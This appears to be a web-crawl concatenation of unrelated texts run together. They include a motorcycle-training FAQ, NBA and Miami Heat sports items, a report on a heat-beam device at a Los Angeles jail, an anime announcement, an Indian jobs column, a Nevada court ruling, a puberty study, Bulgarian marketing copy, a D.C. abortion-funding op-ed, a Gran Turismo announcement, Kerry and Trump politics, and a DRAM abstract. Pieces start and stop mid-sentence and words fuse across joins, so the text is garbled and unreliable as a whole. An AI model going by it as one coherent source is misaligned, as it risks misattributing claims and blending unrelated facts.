The Horestail Fall is a seasonal waterfall that only flows in the late winter and early spring.
Follow Mary Bowerman on Twitter: @MaryBowerman
Read or Share this story: http://usat.ly/2lP87zyWe integrate instructor-led classroom learning with extensive practical training. During your training in our "Gearing Up" course we supply the motorcycles. Tuition tax credit is available to all students who attend this basic course. This course is the most proven and recognized training method in Canada.
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In regards to fees, the whole amount is due at the time of registration.
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A. This course will not give you a license when it is complete. All Albertans MUST pass a road test with a registry agent to receive a class 6 endorsment. You can attempt your road test with any registries for the class 6 exam. If you are successful at our course we can rent you a road test bike and you can work with our dedicated registries agent to attempt your class 6 exam. The exam would start and finish from our training site, just not on the same weekend that you finish your course with us.
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A. We do not offer scooter lessons at this time. We are not sure if anyone does but call around to the other schools to see if they offer them. FYI our Gearing Up course would still be a VERY good way for someone to learn excellent safety scooter skills. Most motorcycling skills would transfer to a scooter rider except for learning how to use a clutch.— The NBA and the National Basketball Players Association announced today that blood testing for Human Growth Hormone (HGH) will commence under the league's anti-drug program, effective with the 2015-16 NBA season.
As part of the collective bargaining negotiations in 2011, the NBA and the Players Association agreed to a process for determining how HGH blood testing would be implemented in the NBA. With that process now completed, beginning with the start of 2015 NBA training camps, all NBA players will be subject to three random, unannounced HGH tests annually (two in-season, one off-season), and players will also be subject to reasonable cause testing for HGH.
If a player tests positive for HGH, he will be suspended 20 games for his first violation and 45 games for his second violation, and he will be dismissed and disqualified from the NBA for his third violation.Since we announced our finalists for D-League MVP back in late March, we mentioned our inability to decide whether Jalen Jones or Abdel Nader was the Red Claws stud was more deserving of the award. We held that same point of view in the following week when we looked at our finalists for Rookie of the Year.
That indecisiveness was due to both players putting up similar numbers for Maine. 6’7 forward Jalen Jones put up 21 points, 9 rebounds and 2.2 assists on 45% from the field and 35% from beyond the arc. Meanwhile, Nader shined by putting up 21.3 points, 6.2 rebounds, 3.9 assists per game on 45% from the field and 35% from beyond the arc.
While we were never unable to decipher which player had an advantage over the other, we’re confident to say that Nader and Jones were the best rookies in the D-League during the 2016-17 season. That’s due to them being the two biggest forces behind the Maine Red Claws maintaining a 29-21 record, good enough for them to win the Atlantic Division.
Among that duo, Abdel Nader made the most immediate impact as he just was fire from his initial moments with Maine. Nader’s fantastic start was evident due to him putting up 24.3 points, 3.2 assists and 1.7 steals per game on 53% from the field and 45% from beyond the arc during the month of November. That incredible shooting allowed him to maintain an incredible 65% True Shooting Percentage.
While Nader cooled down over the remainder of the season, he still shined as a player that can help the Red Claws out through his facilitating or work as a scoring threat. During the season, there were numerous times where Nader worked as a point forward, a spot that he occasionally was able to impress. Due to his 6’8 frame, Nader was able to oversee the court and make the necessary read when he was working on the perimeter. Meanwhile, Nader could also use his athleticism and quickness as a drive-and-dish player.
Nader definitely showed flashes of being a solid facilitator, heunfortunately struggled to limit his turnovers. That inconsistency is evident from him averaging 3.5 turnovers, which forced him to maintain a lackluster.9 AST/TO ratio.
Although Nader was iffy as a facilitator, he stood as a pretty reliable scoring option for the Red Claws. This season, Nader really shined through his work as an on-ball cutter as he was able to get to the paint whenever he wanted. The Iowa State alum was able to accomplish that by just having incredible handles as he regularly showed a knack of maneuvering his way past any opponent that stood in his way. After he accomplished that, Nader showed an ability to finish at the rim with some tremendous slams.
On the other end of the spectrum, Jones shined during his rookie season by just being incredibly versatile on the offensive end. Over the course of the season, Jones shined in a variety of ways which include: post-ups, on-ball cuts, working on the offensive glass, perimeter and mid-range shooting.
In a similar way to Nader, Jones shines brightest through his work as an on-ball cutter. For a 6’7, 220 pound wing, Jones is able to shine due to the fact that he’s a fantastic ball-handler that can dive with the rock in his left and right hand. Following that initial victory, Jones was able to score around the rim with rim-rocking dunks or eye-popping layups.
Another way that Jones was able to shine inside the paint is a great all-around rebounder. On the offensive end, Jones collected a respectable 2 offensive rebounds per game which stood as one of the better averages among D-League forwards. Jones was able to put up those kind of numbers by combining a strong 240 pound frame with incredibly solid work ethic.
Of course, any basketball fan can debate if faciliating is more important than rebounding until the cows come home. However, it’s still clear that both Nader and Jones had the kind of seasons that made them worthy of being Ridiculous Upside’s co-Rookie of the Year for the 2016-17 NBA D-League season.
Runner-up for RU’s R.O.Y award: Jameel Warney - Texas Legends. Warney stood as arguably the best front-court player in the D-League during the 2nd half of the season where he averaged 22.6 points, 9.9 rebounds and 1.8 assists per game on 62% from the field
Last season’s winner: Will Cummings, Rio Grande Valley VipersZapping Inmates To Control Them: Harmless Or Torture?
Enlarge this image toggle caption Los Angeles County Sheriff's Department /AP Los Angeles County Sheriff's Department /AP
Los Angeles authorities have unveiled a new high-tech device designed to control rowdy inmates: a mechanism that blasts millimeter beams that simulate intense heat.
At the Pitchess Detention Center, north of Los Angeles, officials recently showed off their latest tool, which resembles a supersized dental X-ray machine with a flat screen on top. It works like something out of Star Trek.
"You know when they set their phasers to stun, they did that so they didn't kill people? Well, that's exactly what this is. It does stun you," says Mike Booen, a vice president of Raytheon Missile Systems. The company built the device for the Los Angeles County Jail, a scaled-down version of what it designed for the military.
"I don't care if you're the meanest, toughest person in the world," he says, "this will get your attention and make your brain focus on making it stop, rather than doing whatever you were planning on doing."
The Pain
Riots are nothing new at this jail. The Pitchess Detention Center has a history of bloody inmate violence. In fact, the latest brawl between 200 inmates broke out two days after the Raytheon device was unveiled.
Dave Judge, the operation deputy for the sheriff's department, says the machine is more effective than their usual methods of firing rubber bullets and tear gas grenades.
"This is tame; this is mild," Judge says." This is a great way to intervene without causing any harm. The nice thing about this is it allows you to intervene at a distance."
It penetrates about a 64th of an inch under your skin. That's about where your pain receptacles are. So it's what it would feel like if you just opened up the doors of a blast furnace.
With the remote-controlled device, he says, guards can focus on specific targets using a monitor and a joystick.
Raytheon's Booen says the device sends out millimeter waves, creating a harmless, but intense sensation.
"It penetrates about a 64th of an inch under your skin," Booen explains. "That's about where your pain receptacles are. So it's what it would feel like if you just opened up the doors of a blast furnace. You feel this wave of heat immediately."
Recently, the sheriff's deputies had a field day testing the device on the media. "Ow!" yelled Estrella TV reporter Andres Herrera, a nervous volunteer, as he got zapped from across the room.
"Holy smokes!" cried Brian Day, a reporter with the Pasadena Star, as he flinched from the pain and jumped out of the way.
"At first, it's a warmth," he says. "Then it becomes an intense burning sensation real quick."
When I volunteered, the guards hit me first in the arm, and stronger, in the neck. Ten minutes later, I swear I could still feel the pain.
"That's the mind and that's the memory," Judge says. "We all tend to imprint a discomfort. So you burn that sensation in your mind, which is a positive thing, because we want individuals to remember that. So if they're inclined to do [something wrong], they think twice and not do it."
Protests Over The Taser
Three years ago, the Department of Defense demonstrated a bigger version of the device it considered using. During one simulation, it repelled a pretend group of protesters with the "Active Denial System" direct energy weapon mounted on a military vehicle.
These weapons are always sold as safe, they're new, they're high tech, nobody gets hurt. We heard that about Tasers, and yet what we subsequently find is that, in fact, Tasers cause heart attacks with people if they're repeatedly jolted.
The U.S. Joint Non-Lethal Weapons Programs reportedly never actually used the device in Afghanistan, but a spokeswoman says they are considering related technology.
Now, Los Angeles has been given a smaller, civilian version of the same device free. But the ACLU says that's a bad idea.
"We're going to use people in the jails as guinea pigs for some mega arms builder to test their device," ACLU attorney Peter Eliasberg says.
He sent a letter to L.A. Sheriff Lee Baca asking him to reconsider using what he says has the potential to be a torture device.
"These weapons are always sold as safe, they're new, they're high tech, nobody gets hurt," Eliasberg says sarcastically. "We heard that about Tasers, and yet what we subsequently find is that, in fact, Tasers cause heart attacks with people if they're repeatedly jolted."
Eliasberg says some tests of the millimeter device have badly burned people with repeated zaps. And he notes that Los Angeles deputies have a documented history of abusing inmates. Eliasberg suggests a better solution would be to prevent the overcrowded conditions that trigger jail riots in the first place.The official website for the television anime of Hisago Amazake-no's Knight's & Magic light novel series began streaming a promotional video on Wednesday. The video reveals the anime's main cast, staff, and summer premiere.
The main cast includes (Note: Character name romanizations are not official):
Rie Takahashi as Ernesti "Eru" Echevarria, a talented programmer in his previous life, now reincarnated into a fantasy world. He uses his mecha otaku knowledge to the fullest in an effort to make his own ideal Silhouette Knight.
Ayaka Ohashi as Adeltroot "Adi" Alter, Eru's childhood friend. She has a weakness for cute things, and always hugs Eru as if he were a stuffed toy. Kid is her twin brother
Shinsuke Sugawara as Akidd "Kid" Alter, Eru's childhood friend. He learned magic from Eru when they were children, and he has grown in power and combat ability ever since. Adi is his twin sister.
Yusuke Yamamoto ( Welcome to the NHK, Walkure Romanze ) is directing the anime at the studio 8-Bit. Michiko Yokote ( Shirobako, ReLIFE ) is in charge of the series scripts. Kenichiro Katsura ( Macross 7, NAKAIMO - My Little Sister Is Among Them! ) is designing the characters, and Kurogin is in charge of mecha design. Masato Kōda ( Maria the Virgin Witch, KonoSuba – God's blessing on this wonderful world!! ) is composing the music.
In the story, a Japanese mecha otaku dies in a car accident and his soul is reincarnated into another world as Ernesti Echevarria. Eru inherits memories and interests from his previous life, and aims to be a pilot of a Silhouette Knight, a large humanoid weapon that really exists in his world.
Amazake-no began the ongoing story in October 2010 on the online novel platform Shōsetsuka ni Narō. Shufunotomo's Hero Bunko imprint picked up the series and published the first novel with illustrations by Kurogin in January 2013. Hero Bunko published the sixth volume in March 2016, and the seventh volume will ship on March 25.
Takuji Katō began the manga adaptation in Square Enix's Young Gangan magazine on April 15.
Source: MoCa NewsA perfect storm is brewing across India’s industrial complex, one that will truly test the country’s demographic dividend. Restructuring in many existing industries is leading to layoffs in thousands while a future in which new projects could be driven largely by automation and robots could put paid to the aspirations of millions of young men and women readying to join the workforce every year.
Simply put, we could be looking at a future in which there are just no new jobs.
As it is, investment proposals have been coming down while the latest numbers from the Reserve Bank of India show that manufacturing contracted for the first time in seven years, from a growth rate of 12.9% in 2009-10 to -3.7% in 2015-16. So far, the focus has been on injecting fresh capital investment under the assumption that this will automatically lead to job creation. But it is increasingly clear, that correlation is tenuous.
According to estimates by International Labour Organization (ILO), India’s employment elasticity, a common measure of how employment growth responds to GDP growth, hovered around 0.3 between 1991 and 2007. Basically, 1% of overall economic growth produced 0.3% of employment growth. That number has been coming down quite alarmingly since, and now stands at only about 0.15%.
Facing uncertain markets at home and abroad and saddled with low capacity utilization, most large Indian companies have been loath to invest in fresh capacities. Even in sectors where there has been fresh investment, net job creation has been negative. Thus, the $25 billion investment by Reliance Industries Ltd in its telecom operation Jio, hasn’t added to the overall number of jobs in the sector as the incumbents have been forced to restructure their operations to trim costs.
Looking ahead, there could be more layoffs coming as the fallout of Telenor India’s sale to Bharti Airtel and the impending merger of Idea Cellular with Vodafone’s India unit, take effect.
If consolidation is shrinking job prospects in sectors like telecom, in others like software services as well as banking, the change is much more structural. Artificial intelligence and machine coding along with a shift away from outsourcing by large US-based companies, have dimmed the prospects of Indian software firms forcing industry body Nasscom to defer its annual revenue forecast for the first time ever. Banking is going through a similar churn and layoffs have been a regular feature over the last two years.
Sadly, start-ups which were expected to pick up the slack in job creation stemming from changes in these sectors, are themselves in the doldrums now. In recent months, hundreds of people have been laid off in the consumer internet space and with venture capital firms taking a jaundiced view of keeping the funding spigot open. According to an analysis by Techcircle over 10,000 people have lost their jobs in the Indian startup ecosystem since August 2015.
Unfortunately, there is no end in sight to this trend. Even when the investment cycle in fresh manufacturing resumes, it is unlikely that it will be manpower intensive. Automation is driving shop floors across the world with robots replacing workers in the ratio of 1:7. Nor is this restricted to developed markets. In India, sales of robots for factories are increasing at a rapid pace with companies like Grey Orange which build them virtually reshaping the logistics industry.
The problem, of course, is that sectors that were traditionally large employers particularly at the blue- collar level, have also altered irrevocably. Thus, mining, once a mass employer, has undergone a comprehensive change with traditional small-scale and public sector mining being systematically replaced with large-scale, privately-owned mines that are hugely mechanised. According to Central Statistics Office (CSO) estimates, in 1994–95, 25 employees were needed to produce minerals worth Rs1 crore. By 2003–04, that number had fallen to just eight employees. The result has been a steady dip in the employment numbers in that sector even while production numbers have gone up. What’s worse, estimates point to a further fall in the employment potential of the sector.
One fall-out of the uncertain jobs situation has been the increased incidence of what are dubbed “non-standard forms of employment", such as contract labour as well as part-time work. These place employees in a potentially vulnerable state, besides denying them legitimate benefits.
In such a scenario where jobs are scarce, social security in the form of unemployment benefits becomes the only way to maintain stability.
But as the example of Punjab shows us, having money without work can be a lethal cocktail.
Sundeep Khanna is a consulting editor at Mint and oversees the newsroom’s corporate coverage. The Corporate Outsider will look at current issues and trends in the corporate sector every week.
Click here to read more from The Corporate Outsider.[JURIST] The Nevada Supreme Court [official website] on Thursday ruled [opinion, PDF] that Nevada’s implied consent law [text], which allows police officers to take blood samples of motorists to determine impairment, is unconstitutional. The case involved a man named Michael Byars who was stopped by state troopers for driving under the influence of a controlled substance. Upon questioning the suspect the officers detected the smell of marijuana and arrested Byars, who was later subject to blood testing allowed by Nevada’s implied consent law. The Nevada Supreme court ruled that the implied consent rule as used within the case was unconstitutional because the warrantless search violated the Fourth Amendment [text]. However, the evidence found through the blood testing was not suppressed by use of the exclusionary rule because the court found the officers acted in good faith.
The Nevada Supreme Court relied on the US Supreme Court [official website] decision Missouri v. McNeely [SCOTUSblog backgrounder] which held that the fourth amendment may require a warrant [JURIST report] for a blood test in a drunk-driving investigation.The divided court ultimately held that “in drunk-driving investigations, the natural dissipation of alcohol in the bloodstream does not constitute an exigency in every case sufficient to justify a blood test without a warrant.” Last year the Minnesota Supreme Court upheld [JURIST report] the state’s driving while intoxicated implied consent law, ruling it is constitutional under the fourth amendment. In light of recent fourth amendment cases, some legal commentators have argued [JURIST op-ed] that investigative techniques have eroded the rights encompassed in the fourth amendment.Praising the study as well done, she said, “Whether the difference is as large as what they say on some papers 40 years ago is not clear.” However, she added, “this is going to be incredibly useful to pediatricians and urologists.”
The new study also found that African-American boys began puberty earlier than whites and Hispanics, a result that other studies have shown also applies to African-American girls. Researchers said that difference is most likely driven by the role of genes in puberty.
On average, black boys in the study showed signs of puberty, primarily identified as growth of the testicles, at a little older than 9, while white and Hispanic boys were a little older than 10.
Several experts said the study should not be seized upon as cause for alarm, but rather as a way to help parents and doctors gauge what to be aware of in boys’ development and whether to start conversations about social issues sooner.
“It was an important study to do, and their methodology is improved over prior studies in that they based their assessment of puberty in boys on what I consider to be the gold standard: the size of the testicles,” said Dr. Laura Bachrach, a professor of pediatric endocrinology at Stanford University.
But the study should not prompt a magazine “cover article that shows a 9-year-old boy shaving,” Dr. Bachrach said. And because some parents fear that early puberty is related to more hormones in milk — speculation that is unproven — “I don’t want people to get up in arms and rush out and buy organic milk,” she said. “When patients ask me, I say, ‘Do that for political reasons or because you like the taste, but don’t do it because you think it’s going to influence puberty.’ ”
For the study, researchers enlisted about 200 pediatricians in 41 states to record information on 4,131 healthy boys ages 6 to 16 during their well-child exams. Physicians were trained to use an orchidometer, a string of oval wooden or plastic beads of increasing size that are compared against the size of the testicles. Urologists use orchidometers to measure testicular volume when men have fertility concerns. Normal adult size is about 22 to 25 milliliters, Dr. Lamb said. In boys, 2 milliliters is pre-pubertal; some doctors consider 3 milliliters and others 4 milliliters as an indicator of puberty, so the study included analysis for both sizes.
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Doctors in the study also evaluated boys using the Tanner scale, a five-stage ranking system developed from a 40-year-old British study. While Tanner is the textbook benchmark, doctors increasingly consider it outmoded because it involved only 228 white boys in juvenile detention in London and evaluated them from photographs.
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In the new study doctors also took note of pubic hair, but, said Dr. Bachrach, “pubic hair is very very misleading” because it is a later, less predictable indicator.
The study’s lead author, Marcia E. Herman-Giddens, a child and maternal health specialist at University of North Carolina Chapel Hill, said she originally proposed an additional measure used in Europe : identifying through urinalysis, or by asking, if boys had begun to ejaculate. But she said that urinalysis would have made the study more expensive, and colleagues reviewing the proposal “just freaked out” about the prospect of asking boys about ejaculation, wondering, “How would a child understand that?”
Dr. Herman-Giddens led a large study on girls’ puberty in 1997, and its conclusion that girls were developing earlier generated great controversy. Now, though, experts generally agree that subsequent research has shown breast development as young as 7 or 8. With menstruation, however, studies conflict: some suggest it is starting earlier, while others suggest the age has not changed much. Experts said this could mean that puberty is beginning sooner but lasting longer, or that different physiological processes underlie breast development and menstruation.
With girls, there is also scientific consensus that heavier girls enter puberty earlier, which makes sense, experts said, because body fat is tied to estrogen production.
In the study of boys, weight was not analyzed intensively, but the heaviest boys were developing earlier than what Dr. Herman-Giddens called “the little bitty skinny boys.” Experts said it is unclear if weight gain precipitates puberty or is a consequence.
Some experts said that while earlier development in girls can be worrisome because girls may be treated as more socially mature than they are, implications for boys are uncertain.
“With girls, the first signs are obvious, and social ramifications are much more pronounced and they’re negative,” said Dr. William P. Adelman, associate professor of pediatrics at the Uniformed Services University of the Health Sciences in Bethesda, Md., and a member of the Academy of Pedatrics committee on adolescents. But early-maturing boys “get called on more in school, tend to be better athletes. I’m less likely to get a parent of a boy saying, ‘Oh my gosh, my boy’s developing — he’s too young,’ ” Dr. Adelman said. More common is, “My boy, he’s a freshman in high school, his best friend is 6 feet already and he’s 4-11.”
Dr. Frank M. Biro, a puberty researcher and director of adolescent medicine at Cincinnati Children’s Hospital, said there are some common implications for girls and boys.
“If kids are looking older, it means that parents should be monitoring them, because that superego doesn’t kick in until late teens or early 20s,” he said. “The kids need a hand. Know what they’re doing.”Read it in English
Няма по-добро представяне на една марка от нейното потребление. Едва ли има домакинство, което да не използва продукти на Dr Oetker в ежедневието си. В спомените ми първият продукт, който в моя живот се появи от марката, беше сладкия ванилов пудинг. Няма как да забравя вкуса, но той с годините така и не се промени, защото целта на марката е да доставя качество всеки път.
„Качеството е най-добрата рецепта“ е слогана на фирмата от години и именно затова единственото условие на продуктите е да бъдат винаги безупречни, независимо от всичко. Но за да постигнеш подобни постоянно добри резултати за всеки един продукт се изискват множество тестове – от различни микровълнуви, печки, че дори и най-обикновените съдове, с които се приготвят, защото така се гарантира, че независимо от готварските уреди домакинството може да получи еднакво добър вкус от приготвените яст |
. He was very nice. I was never a great Beckett fan. But I wanted to meet Jean-Paul Sartre. I wanted to do that, and someone connected with him said, "It can be arranged for a price." I didn't follow up on that because the whole thing was too sinister for my psyche.
Salary (4)Their constituents no doubt hear their proclamations during town hall meetings, ribbon cuttings, and every-other-year campaign events. At home in their districts, you can imagine hearing, “our democracy is strong because it reflects the interests of the people! Our government in Washington is responsive and accountable to you!”
What these members of Congress do not say out loud is: “unless you are an African American or Latina woman, qualified and enrolled in Medicaid, living in the District of Columbia,” - in that case the rules are different.
For a woman living in D.C. struggling to get by and considering ending a pregnancy, then it’s not about her being able to make the decision that is best for her and her family. It’s not about her being able to access all possible options so she can best guarantee her health, safety, and dignity.
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Her ability and freedom to make important, life-altering medical decisions are no longer personal ones, but instead political – decisions some politicians in Congress want to - and in fact do - control.Every year, Congress passes the Hyde Amendment and withholds federal funding for insurance coverage of abortion for low-income women. Thankfully, each of the fifty states can decide to use state funds to cover this important care—but things work differently in the District of Columbia.Even though the District, with its more than 600,000 residents, is supposed to have home rule, Congress prevents D.C.’s locally elected officials from making internal decisions about how to spend their health care funds.And so in the national political struggle over abortion, those in Congress frustrated by their inability to limit every woman’s personal health care decisions have made an example of women in the District of Columbia by denying them Medicaid coverage for abortion services. It doesn’t matter that D.C. officials and residents have fought to cover these services.It’s the worst kind of governance, playing politics with something as important as a woman’s personal decision-making.Just as disturbing as politicians’ willingness to interfere in our personal decision-making is the disproportionate impact on women of color. In fact, a whopping 94 percent of Washingtonians who are affected by the Congressional ban on abortion coverage are people of color.In his recent budget, President Obama showed his commitment to ending the District of Columbia’s abortion ban. It’s now up to Congress to act. Our optimism mostly lies in the Senate, as the House Appropriations Committee this week voted down an amendment to remove the ban. Hopefully this year, we can put national politics aside, focus on the best interests of the low-income women in the District of Columbia and bring an end to the D.C. Medicaid abortion ban.Living in our nation’s capital should mean that a woman can have access to what she needs for critical pregnancy-related health care, however much money she makes. We must stand with D.C. women and demand a government that is accountable and responsive.It’s time for politicians in Congress to bring their lofty promises of freedom, and democracy, and human dignity beyond the marble halls of Congress and into the communities outside.That’s a principle we should all be able to embrace.At least Miami Heat center Hassan Whiteside wasn’t on edge about everything Wednesday night.
Although he and his teammates were worrying about their postseason fate leading up to the season finale, Whiteside knew he was capturing a personal milestone. He was all but guaranteed the NBA’s rebounding title well before the Heat tipped off against the Washington Wizards at AmericanAirlines.
“Leading the league in anything is tough,” Whiteside said bfroe the game. “Last year it was blocks. This year, it’s rebounding. Just having two big things that you want your center to do is pretty special.”
Whiteside entered the final game averaging 14.1 rebounds, ahead of Detroit Pistons center Andre Drummond (13.8) and the Los Angeles Clippers’ DeAndre Jordan (13.7). If Whiteside didn’t grab any rebounds against the Wizards, Drummond would have needed 25 to surpass him.
Whiteside is the first Heat player to earn the honor, while also becoming the third player in NBA history to lead different statistical categories in consecutive seasons.
Clippers guard Chris Paul led the NBA in steals in 2012-13 and assists in 2013-14. In 2007-08 and 2008-09, Dwight Howard was tops in rebounds and then blocks with the Orlando Magic.
“I think some of his biggest strides have been the winning plays in some of the games where he only had nine rebounds and he loved it,” Heat coach Erik Spoelstra said of Whiteside. “He loved winning, he loved those moments of impacting winning of enjoying someone else’s success. I think that’s the biggest part of his growth.”
CAPTION Erik Spoelstra on Heat victory over Warriors Erik Spoelstra on Heat victory over Warriors CAPTION Erik Spoelstra on Heat victory over Warriors Erik Spoelstra on Heat victory over Warriors CAPTION Dwyane Wade on his dramatic game winner against the Warriors. Dwyane Wade on his dramatic game winner against the Warriors. CAPTION Spoelstra: No need to show anger to appease outsiders. Spoelstra: No need to show anger to appease outsiders. CAPTION Dwyane Wade: Braids a tribute to Iverson Dwyane Wade: Braids a tribute to Iverson CAPTION Miami Heat head coach Erik Spoelstra says his team showed grit in loss to the Phoenix Suns. Miami Heat head coach Erik Spoelstra says his team showed grit in loss to the Phoenix Suns.
With a rebounding title and blocks title, is scoring the next task at hand? Whiteside refused to rule it out. His scoring has increased in each of his three seasons.
“Maybe,” he said. “Or steals.”
Good company
The Heat were among just three teams to finish the second half of the season with at least 29 victories. The other two were the Golden State Warriors and San Antonio Spurs, who are contenders for the championship.
“I love this team,” Spoelstra said. “I love the perseverance that we’ve all had to develop and go through together and come out of it different than where we were when we started. The guys really care about each other.”
Waiters, Babbitt end regular season on sideline
The Heat were once again without guards Dion Waiters (ankle) and forwards Luke Babbitt (hip) and Josh McRoberts (foot).
Despite signs of progress, Waiters missed the final 13 games of the regular season. Babbitt did not play the final five, and McRoberts was inactive since Dec. 23.
While all were closer to full strength, Spoelstra said it would have been unfair to thrust them into the situation when they weren’t ready.
“The three guys all came to me before last game to say, `Hey, whatever we need I’m available,”’ Spoelstra said. “It’s all from the right place. They’re all pure about it. None of them would be able to contribute, to help us, they just want to be there for their teammates even if that just meant two or three minutes. I think it’s a great gesture but we still have to be smart about everything.”
srichardson@sun-sentinel.com; On Twitter @shandelrichPolyphony Digital announces Gran Turismo Sport, a brand new Gran Turismo game that will feature FIA-sponsored competitions and PlayStation VR support.
2015 has been a fairly good year for fans of racing games. Driveclub PlayStation Plus edition was finally released following months of delays, Project Cars made its case for realism, (again, following months of delays), Need for Speed hasn’t been released just yet, but judging by previews of the racing game, that too holds a lot of promise. However, PS4 players are still eager to see what Kazunori Yamauchi and the team at Polyphony Digital can do with their console’s power, and thankfully, today they got a glimpse.
During Sony’s press conference at Paris Games Week, racing games were introduced to Gran Turismo Sport, which is the official title for Gran Turismo 7. As expected, Polyphony Digital will be putting the PS4 through its paces as they bring their specific brand of perfectionism to current-gen. With new power available to the developer, fans can expect better graphics, better physics, and better sounds as Polyphony Digital tries to “deliver the most realistic driving simulator to date”.
That’s not all that Gran Turismo Sport will introduce, though, as some of the game’s selling points also include the new partnership with the FIA (the International Automobile Federation). With the FIA, Polyphony will add two new competitions to Gran Turismo Sport: the Nations Cup, where players can represent their home country, and the Manufacturers Cup, where they’ll be representing their favorite auto maker. And, rather than just providing players with a challenge or a title, Gran Turismo Sport players will be competing for real prizes that will be presented to them at the annual FIA ceremony, along with all of the awards given to drivers of real-world vehicles.
Moreover, Tekken 7 and Until Dawn: Rush of Blood aren’t the only PS4 games that were confirmed to have PlayStation VR support today, as Gran Turismo Sport will also allow players to use the upcoming Sony headset. Unfortunately, a VR gameplay demo wasn’t on-hand during the press conference, but given that Sony PlayStation president Shuhei Yoshida previously said that the headset has worked “fine” with racing games during trial tests, fans can assume that things are going well.
And, as for when fans can get their hands on Gran Turismo Sport for themselves, a beta will take place sometime in spring 2016. It’s unclear whether that beta will be open or closed and how Gran Turismo fans can get in it, but Game Rant will update once more information is available.
What features would you like Gran Turismo Sport to include? Do you plan on entering the game’s FIA competitions? Leave a comment and let us know.U.S. Secretary of State John F. Kerry speaks to the audience as he discusses the Iran nuclear deal with Council on Foreign Relations President Richard N. Haass at the Council on Foreign Relations (CFR) in New York July 24, 2015. REUTERS/Eduardo Munoz
NEW YORK (Reuters) - U.S. Secretary of State John Kerry said on Friday that he planned to discuss combating Islamic State militants in Syria and what role Iran could play when he meets with his Russian counterpart, Sergei Lavrov, in Qatar in coming weeks.
Kerry told the Council on Foreign Relations think tank in New York that “we have to change the dynamic in Syria” to kill off radical Islamic State, which has declared a caliphate in swathes of territory it has seized in Syria and Iraq.
“And that’s part of why we have been negotiating with Turkey in these last weeks and now have some shift in what the Turks are prepared to do, and there is also a shift in some of the things that we’re engaged in,” Kerry said, without elaborating.
Turkish warplanes pounded Islamic State targets in Syria for the first time on Friday, and officials in Washington have said Turkey has agreed to let U.S. jets launch air strikes from a base near the Syrian border.
Kerry said he hoped to follow up with Lavrov on previous discussions about Syria.
“We want to bring the Saudis in, we want to bring the Turks in, and ultimately, probably, we will have to see what the Iranians are prepared to do,” said Kerry.
Russia is trying to bring about rapprochement between the Syrian government and regional states hostile to it, including Saudi Arabia and Turkey, to forge an alliance to fight Islamic State.
Following a historic accord between world powers and Iran last week to curb Tehran’s nuclear program, Kerry said, “both (Iranian) President (Hassan) Rouhani and Foreign Minister (Javad) Zarif have made it clear that with the agreement they are prepared to discuss the regional issues.”
Kerry plans to travel to Doha in the next couple of weeks to meet with the Gulf Cooperation Council, which is made up of Saudi Arabia, the United Arab Emirates, Bahrain, Kuwait, Oman and Qatar.Donald Trump attends a fundraising event in New Jersey. (Mike Segar/Reuters)
We are, remarkably, at the 160-day mark until the presidential election, a stretch of time that is simultaneously a ton of time (months and months) and shockingly brief (on the scale of a campaign that began in late 2014). That's 160 days, 3,840 or so hours, during which Hillary Clinton and Donald Trump need to (a) solidify their bases of support and (b) appeal to voters who may be wavering. One hundred sixty days during which Trump needs to either gain a majority of support from American voters or at least gain the upper hand in enough states to cobble together an electoral college victory.
On the first strategy, some bad news. A new Quinnipiac University survey shows that Trump's position against Clinton is essentially unchanged since the last time the school polled, in March. At that point, Clinton was up six points; now, she's up four. Why is that bad news? Because this is after Trump solidified the Republican nomination. This is after Republicans theoretically ended their intraparty feuding and settled on one guy to lead them forward toward November. And in a one-on-one contest with Clinton -- whose Democratic Party is still split -- Trump still trails.
Clinton's party isn't as divided as it used to be. If we look at her lead in RealClearPolitics' average of polls since January, you can see that the Democratic contest narrowed as Clinton's lead over Trump grew. Since early April, Clinton's lead over Bernie Sanders among Democrats has grown steadily. After the Indiana primary, the point at which Trump's opponents all left the playing field, her lead over Trump vanished -- with a bit of an uptick recently.
Polling this far out is about trends. The trend in the Democratic race, driven, perhaps, by Jerry Brown-style acceptance of her inevitability, has been toward Clinton's victory. The trend in general-election polling, post-Indiana, was toward Trump. It's too early to say whether that trend is reversing, but it doesn't appear to be continuing, which is the bad news for Trump. Especially since the Democratic nomination contest is on the verge of being finally, officially resolved -- at which point history suggests that Democratic primary voters will rally around the nominee.
Since Quinnipiac's March poll, the biggest movement has been among men -- particularly white men. In March, Trump led with men by three points; now he leads by 16. (Quinnipiac calls this "a titanic clash of the sexes.")
Clinton is strongly preferred by non-white voters -- but also runs about even with white women. On Tuesday, we noted that this split between white men and white women, with the former preferring one candidate and the latter another, is unusual. In 2012, Mitt Romney won the support of 62 percent of white men and 56 percent of white women. In this new survey, Trump gets 60 percent of support from white men -- and only 41 percent of white women.
Quinnipiac also found that Clinton and Trump are about equally disliked, which we've seen in poll after poll. Fifty-one percent of voters have a strongly unfavorable opinion of Trump, including 83 percent of Democrats. Forty-nine percent view Clinton strongly unfavorably -- including 91 percent of Republicans. Independents view the two strongly unfavorably at margins of 53 percent and 55 percent, respectively.
So what about a third-party candidate? Quinnipiac asked about two of the most likely names that people will see on their ballots, Libertarian candidate Gary Johnson and Green Party candidate Jill Stein. In a four-way matchup, Johnson got 5 percent of the vote (including 10 percent of independents) and Stein 3 percent (with 7 percent of independents). As MSNBC's Steve Kornacki pointed out on Twitter, that's bad news for Johnson, who is the more viable alternative candidate but needs a consolidated 15 percent of support to make it onto the debate stage. Splitting the protest vote with Stein (or anyone else) makes that harder.
The state of the race, then, is what it has been for a while. Clinton has a narrow lead, but she appears to have perhaps stopped the bleeding against Trump. Third-party candidates don't make much of a dent. And Americans, by a 47 percent to 39 percent margin in Quinnipiac's poll, would rather have Trump over for a back-yard barbecue than Clinton.
Same old, same old.The memory system is a fundamental performance and energy bottleneck
in almost all computing systems. Recent system design, application,
and technology trends that require more capacity, bandwidth,
efficiency, and predictability out of the memory system make it an
even more important system bottleneck. At the same time, DRAM
technology is experiencing difficult {\em technology scaling}
challenges that make the maintenance and enhancement of its capacity,
energy-efficiency, and reliability significantly more costly with
conventional techniques.
In this article, after describing the demands and challenges faced by
the memory system, we examine some promising research and design
directions to overcome challenges posed by memory
scaling. Specifically, we describe three major {\em new} research
challenges and solution directions: 1) enabling new DRAM
architectures, functions, interfaces, and better integration of the
DRAM and the rest of the system (an approach we call {\em system-DRAM co-design}), 2) designing a memory system that employs emerging
non-volatile memory technologies and takes advantage of multiple
different technologies (i.e., {\em hybrid memory systems}), 3)
providing predictable performance and QoS to applications sharing the
memory system (i.e., {\em QoS-aware memory systems}). We also briefly
describe our ongoing related work in combating scaling challenges of
